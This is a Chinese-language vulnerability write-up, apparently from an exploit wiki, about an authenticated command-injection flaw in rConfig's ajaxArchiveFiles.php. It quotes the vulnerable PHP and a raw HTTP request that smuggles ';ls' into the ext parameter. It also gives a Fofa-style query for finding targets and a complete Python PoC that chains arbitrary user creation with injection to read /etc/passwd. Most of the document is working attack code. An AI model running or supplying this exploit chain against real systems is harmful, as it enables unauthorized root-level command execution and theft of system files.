# rConfig ajaxArchiveFiles.php 后台远程命令执行漏洞 ## 漏洞描述 rConfig ajaxArchiveFiles.php文件中由于对path参数和ext参数进行命令拼接，导致攻击者可以远程命令执行获取服务器权限 ## 漏洞影响 ``` rConfig ``` ## 网络测绘 ``` app="rConfig" ``` ## 漏洞复现 存在漏洞的文件 **/home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php** ```php logged_in) { echo 'Don\'t bother trying to hack me!!!!!
This hack attempt has been logged'; $log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")"); // need to add authentication to this script header("Location: " . $config_basedir . "login.php"); } else { //archive logs files $mainPath = $_GET['path']; $archiveMainPath = $mainPath . "archive/"; $ext = "*." . $_GET['ext']; $fullpath = $mainPath . $ext; // create and archive dir if not already created if (!is_dir($archiveMainPath)) { mkdir("$archiveMainPath"); } $today = date("Ymd"); $commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext; exec($commandString); foreach (glob($fullpath) as $v) { unlink($v); } $fileCount = count(glob($mainPath . $ext)); if ($fileCount > 0) { $response = json_encode(array( 'failure' => true )); } else { $response = json_encode(array( 'success' => true )); } echo $response; } // end session check ``` 关键代码如下 ```php $mainPath = $_GET['path']; $archiveMainPath = $mainPath . "archive/"; $ext = "*." . $_GET['ext']; $fullpath = $mainPath . $ext; // create and archive dir if not already created if (!is_dir($archiveMainPath)) { mkdir("$archiveMainPath"); } $today = date("Ymd"); $commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext; exec($commandString); ``` ![img](https://g.yuque.com/gr/latex?mainPath参数和)**ext参数** 用户可控 ```php $commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext; ``` 没有使用过滤直接拼接命令，导致命令执行，并因为sudo而root权限执行，由于是后台漏洞所以需要登录，配合任意用户创建可以RCE 请求包为 ```plain GET /lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;ls%3E../../test.txt HTTP/1.1 Host: Cookie: cookname=testtest; cookid=a13be657db5e18e453c66c564467b0f2; PHPSESSID=lr7j5r2beat1eprpklrhiorq71 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Content-Length: 2 ``` 再请求 [**http://xxx.xxx.xxx.xxx/test.txt**](http://xxx.xxx.xxx.xxx/test.txt) 验证漏洞 ![](./images/202202162244450.png) ## 漏洞POC ```python #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from : http://wiki.peiqi.tech import base64 import requests import random import re import json import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_toolbelt.multipart.encoder import MultipartEncoder def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: rConfig userprocess.php 任意用户创建漏洞 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/lib/crud/userprocess.php" referer = target_url + "useradmin.php" ran_number = random.randint(1, 999) origin = target_url multipart_data = MultipartEncoder( fields={ 'username': 'testtest{}'.format(ran_number), 'password': 'testtest@{}'.format(ran_number), 'passconf': 'testtest@{}'.format(ran_number), 'email': 'testtest{}@test.com'.format(ran_number), 'ulevelid': '9', 'add': 'add', 'editid': '' } ) headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin": origin} cookies = {'PHPSESSID': 'test'} try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False) if "error" not in response.text: username = 'testtest{}'.format(ran_number) password = 'testtest@{}'.format(ran_number) print("\033[36m[o] 成功创建账户 testtest{}/testtest@{} \033[0m".format(ran_number, ran_number)) POC_2(target_url, username, password) else: print("\033[31m[x] 创建失败:{} \033[0m") except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) def POC_2(target_url, username, password): print("\033[36m[o] 正在登陆账户..... \033[0m") vuln_url = target_url + "/lib/crud/userprocess.php" headers = { 'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": target_url + "deviceConnTemplates.php", "Origin": target_url, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5" } data = { 'user': username, 'pass': password, 'sublogin': '1' } try: response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在尝试执行 cat /etc/passwd.....\033[0m") with requests.Session() as s: p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False) if "Stephen Stack" in p.text: print("\033[31m[x] 登录失败 \033[0m") else: rce = s.get(target_url + '/lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;cat%20/etc/passwd%3E../../test.txt', verify=False, headers=headers) if "success" in rce.text: response = s.get(target_url + '/test.txt', verify=False) print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text)) else: print("\033[31m[x] 请求失败 \033[0m") except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![](./images/202202162244891.png)